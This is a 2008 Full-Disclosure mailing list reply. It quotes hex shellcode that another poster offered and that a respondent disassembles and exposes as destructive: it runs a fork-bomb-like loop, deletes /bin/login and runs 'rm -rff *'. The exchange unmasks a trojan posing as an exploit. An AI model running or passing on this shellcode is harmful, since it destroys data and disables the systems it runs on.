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Message-ID: <477B862B.6040808@oldum.net>
Date: Wed, 02 Jan 2008 14:40:11 +0200
From: Nikolay Kichukov <hijacker@...um.net>
To: Andrew Farmer <andfarm@...il.com>
Cc: full-disclosure <full-disclosure@...ts.grok.org.uk>
Subject: Re: here
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Thanks Andrew! Nice catch! ;-)
Cheers,
- -Nikolay
Andrew Farmer wrote:
> On 20 Dec 07, at 18:51, onion ring wrote:
> <snip>
>> char sc[] =
>> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
>> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
>> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
>> "\x31\xC0\x89\xC3\x89\xC1\x41\xB0\x30\xCD\x80\x31\xC0\xFE\xC3\x80"
>> "\xFB\x1F\x72\xF3\x04\x40\xCD\x80\x89\xC2\x31\xC0\xB0\x02\xCD\x80"
>> "\x39\xC0\x74\x08\x31\xC0\x89\xC3\xB0\x01\xCD\x80\x31\xC0\xB0\x42"
>> "\xCD\x80\x43\x39\xDA\x74\x08\x89\xD3\x31\xC0\x04\x25\xCD\x80\x31"
>> "\xC0\x50\x68\x6F\x67\x69\x6E\x68\x69\x6E\x2F\x6C\x68\x2F\x2F\x2F"
>> "\x62\x89\xE3\x31\xC0\x04\x0A\xCD\x80\x31\xC0\x50\x68\x2A\x2F\x2F"
>> "\x2F\x89\xE2\x50\x68\x2D\x72\x66\x66\x89\xE1\x50\x68\x6E\x2F\x72"
>> "\x6D\x68\x2F\x2F\x62\x69\x89\xE3\x50\x52\x51\x53\x89\xE1\x31\xD2"
>> "\x04\x0B\xCD\x80";
> <snip>
>
> Abbreviated disassembly:
> signal(SIGHUP, SIG_IGN)
> something that looks like a 15-level deep fork() bomb
> something involving kill()
> unlink("/bin/login")
> execve("//bin/rm", {"//bin/rm", "-rff", "*///"})
>
> You could at least try to obfuscate your constants a little better.
> That was way too easy.
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
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